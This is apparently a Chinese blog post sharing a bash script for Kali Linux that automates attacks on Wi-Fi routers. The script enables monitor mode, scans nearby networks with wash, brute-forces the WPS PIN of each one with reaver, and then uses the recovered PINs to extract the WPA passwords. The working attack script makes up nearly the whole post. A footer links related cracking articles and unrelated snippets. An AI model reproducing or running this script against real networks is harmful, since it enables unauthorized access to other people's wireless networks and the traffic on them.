kali-通过获取路由器pin码套取无线网络密码shell脚本
直接上脚本吧, 我做个笔记。
#*************************************************************************
# > File Name: wifi.sh
# > Author: chenglee
# > Main : chengkenlee@sina.com
# > Blog : http://www.cnblogs.com/chenglee/
# > Created Time : Tue 26 Mar 2019 09:30:16 PM CST
#*************************************************************************
#!/bin/bash wlanname=`ifconfig | grep wlan | awk -F ':' '{print$1}'` function Wwash(){
echo "判断网卡是否以挂载..."
if [ -z "${wlanname}" ];then
echo "网卡没挂载, 请先手动挂载网卡"
exit;
else
echo "网卡已挂载,判断是否已启动监听模式"
#airmon-ng start ${wlanname}
wlanname=`ifconfig | grep wlan | awk -F ':' '{print$1}'`
string="mon"
if [[ $wlanname =~ $string ]];then
echo "监听模式正常, 开始扫描附近无线网络..."
nohup wash -i ${wlanname} > logs/file 2>&1 &
else
echo "监听模式异常, 准备重启监听模式"
airmon-ng stop ${wlanname}
airmon-ng start ${wlanname}
echo "检查网卡监听模式状态"
if [[ $wlanname =~ $string ]];then
echo "监听模式正常, 开始扫描附近无线网络..."
nohup wash -i ${wlanname} > logs/file 2>&1 &
else
echo "定点异常,请插拔网卡后继续运行此脚本"
exit;
fi
fi
fi
}
function file(){
sleep 5;
num=`cat -n logs/file | grep BSSID | awk -F ' ' '{print$1}'`
number=`expr ${num} + 2`
nullnum=`sed -n ''"$number"',$p' logs/file | awk '/^$/{print NR}' | head -n 1`
if [ "$nullnum" = "" ];then
sed -n ''"$number"',$p' logs/file | awk -F ' ' '{print$1,$2}' > logs/file1
cat logs/file1 | awk -F ' ' '{print$1}' > logs/mac
cat logs/file1 | awk -F ' ' '{print$2}' > logs/ch
else
sed -n ''"$number"',$p' logs/file | awk -F ' ' '{print$1,$2}' > logs/file1
nullnu=`expr ${nullnum} - 1`
sed -n '1,'"$nullnu"'p' logs/file1 > logs/file2
cat logs/file2 | awk -F ' ' '{print$1}' > logs/mac
cat logs/file2 | awk -F ' ' '{print$2}' > logs/ch
fi
}
function Rreaver(){
wlanname=`ifconfig | grep wlan | awk -F ':' '{print$1}'`
exec 3<"logs/mac"
exec 4<"logs/ch"
while read line1<&3 && read line2<&4
do
echo "后台分析物理地址为:${line1},信道为:${line2}的无线网络数据, 请稍后..."
nohup reaver -i ${wlanname} -b ${line1} -c ${line2} -vv -K 0 >> logs/${line1}.logs 2>&1 &
done
}
function analyse_PIN(){
lsatstring="logs"
exec 5<"logs/mac"
while read line3<&5
do
WPA_PIN=`cat logs/${line3}.${lsatstring} | grep WPA`
if [ "$WPA_PIN" = "" ];then
echo "${line3}-PIN码获取不到, 继续判断..."
else
echo "${line3}-PIN码获取成功!!PIN码:${WPA_PIN}"
echo "${line3}" >> logs/pin_mac 2>&1 &
echo "${WPA_PIN}" | awk -F ':' '{print$NF}' | sed 's/ //g' >> logs/pin_pin 2>&1 &
fi
done
}
function Ppin(){
wlanname=`ifconfig | grep wlan | awk -F ':' '{print$1}'`
exec 6<"logs/pin_mac"
exec 7<"logs/pin_pin"
while read line4<&6 && read line5<&7
do
echo "开始通过(路由器):${line4},pin码:${line5},套取密码..."
nohup reaver -i ${wlanname} -b ${line4} -p ${line5} >> logs/${line5}.logs 2>&1 &
done
}
function pass(){
lsatstring="logs"
exec 8<"logs/pin_pin"
while read line6<&8
do
PassWord=`cat logs/${line6}.${lsatstring} | grep PSK`
if [ "$PassWord" = "" ];then
echo "PIN码为:${line6},密码获取失败, 继续获取..."
else
echo "PIN码为:${line6},密码获取成功,请前行 logs/${line6}.${lsatstring}文件查看相关 SSID,PASS等信息"
fi
done
}
function logs(){
if [ -d "logs" ];then
echo ""
Wwash
sleep 10;
file
else
echo ""
mkdir logs
Wwash
sleep 10;
file
fi
}
function main(){
#logs
#file
###############多重循环暴力区###############
#Rreaver
#analyse_PIN
#Ppin
#pass
###############多重循环暴力区###############
}
main
kali-通过获取路由器pin码套取无线网络密码shell脚本的更多相关文章
- 跑PIN码破解无线网络WIFI密码的原理分析(转)
你们家用的无线路由器安全吗?有人蹭网吗?无线路由器的漏洞在哪里?这么避免蹭网? 想要了解这些,必须要了解加密以及破解原理. 工具/原料 电脑 足够多足够好的wifi信号源 usb无线网卡(非必需) 一 ...
- Final——无线网络密码破解——WPA/WPA2
Final--无线网络密码破解--WPA/WPA2 20154305 齐帅 ↓ ↓ ↓ * # % & 郑 重 声 明 & % # * ↓ ↓ ↓ 本实验教程用于探索无线路由安全漏洞, ...
- 破解无线网络密码-BT3如何使用2
本教程只作学习和交流使用,任何其它商用与本人无关, 在开始教程之前, 首先需要用到几个软件,感兴趣的朋友看完贴子后可以去百度搜一下下载地址, 虚拟机: VMware Workstation 6.5 正 ...
- kali拿取路由器pin码
前序:拿pin码就可以直接跑出WPA PSK, 下面开始记录我的操作过程. 网卡监控模式 airmon-ng start wlan0 扫描 wash -i wlan0mon 破pin 网卡 物理地址 ...
- kali 系列学习12-使用Wifite破解无线网络
一些破解无线网络程序是使用Aircrack-ng工具集,并添加了一个图形界面或使用文本菜单的形式来破解无线网络.这使得用户使用它们更容易,而且不需要记住任何命令.本节将介绍使用命令行工具Wifite, ...
- 使用Reaver加PIN码秒破WPA-PSK密码
之前掌握到的破解WPA-PSK密码仅限于使用aircreack工具包获取handshake后挂字典爆破方式,而能否破解出wpa密码完全依赖于字典强度了.除了该方式外还有一个更有效的办法,就是使用路由P ...
- 破解无线网络密码-BT3如何使用3
BT3 虚拟机 SNOOPWEP2 破解无线网络WEP密钥图解 1.下载BT3 光盘映像文件(ISO格式),比如:bt3-final.iso: 用WinISO 或 UltraISO(这个还支持DVD ...
- WPA-PSK无线网络密码破解原理
1.基于WPA2的加密标准还是能够被破解,一个弊端是他无法避开时候双方验证的模式来认证取得合法性的连接,当我们抓取足够多得双反认证的数据包之后就可以破解密码.之前很多片的博客写了如何破解这种加密的秘钥 ...
- 【Android M】获取屏幕锁定的相关信息:“无”,“滑动”,“PIN码”,"图案","密码"
ENV: Android M 6.0.1 import android.os.UserHandle; import com.android.internal.widget.LockPa ...
随机推荐
- jsplumb 使用总结
1 删除连线问题 funcion clearDrawGraph { if (this.graphInstance !== null) { const connections = this.graphI ...
- JAVA RPC(一)RPC入门
为什么要写这个RPC 市面上常见的RPC框架很多,grpc,motan,dubbo等,但是随着越来越多的元素加入,复杂的架构设计等因素似使得这些框架就想spring一样,虽然号称是轻量级,但是用起来却 ...
- RESTful levels 和 HATEOAS
RESTful REST(英文:Representational State Transfer,简称REST)描述了一个架构样式的网络系统,比如 web 应用程序.它首次出现在 2000 年 Roy ...
- ajax php 验证注册用户名是否存在
1.在"test"数据库中,建立一张名为"user"的表. sql语句: create table `user`( `id` ) not null auto_i ...
- 学号 20175201张驰 《Java程序设计》第5周学习总结
学号 20175201张驰 <Java程序设计>第5周学习总结 教材学习内容总结 第六章 ·1.接口的接口体中只可以有常量和abstract方法. ·2.和类一样,接口也是Java中一种重 ...
- vi命令插入
1.插入 i :在当前光标前插入 I:在当前行的行首插入 a:在当前光标后插入 A:在当前行的行尾插入 o:在当前行的下面另起一行插入 O:在当前行的上面另起一行插入 s:删除当前光标的字符并开始插入 ...
- 2000w数据,redis中只存放20w的数据,如何保证redis中的数据都是热点数据
redis 内存数据集大小上升到一定大小的时候,就会施行数据淘汰策略. redis 提供 6种数据淘汰策略:voltile-lru:从已设置过期时间的数据集(server.db[i].expires) ...
- LeetCode-7-反转数组-c#
目前看到的网上的版本 都是用到数组的反转函数.对于代码实现的细节没给出 反转函数的想法没给出. 特在此补充. Reverse函数是从c#库源码中抠出的主要部分代码.主要是双端步进.交换,当然是o(1) ...
- Python数据分析matplotlib可视化之绘图
Matplotlib是一个基于python的2D画图库,能够用python脚本方便的画出折线图,直方图,功率谱图,散点图等常用图表,而且语法简单. Python中通过matplotlib模块的pypl ...
- zookeeper的使用demo(c#/java)
Zookeeper 作为一个分布式的服务框架,主要用来解决分布式集群中应用系统的一致性问题,它能提供基于类似于文件系统的目录节点树方式的数据存储,但是 Zookeeper 并不是用来专门存储数据的,它 ...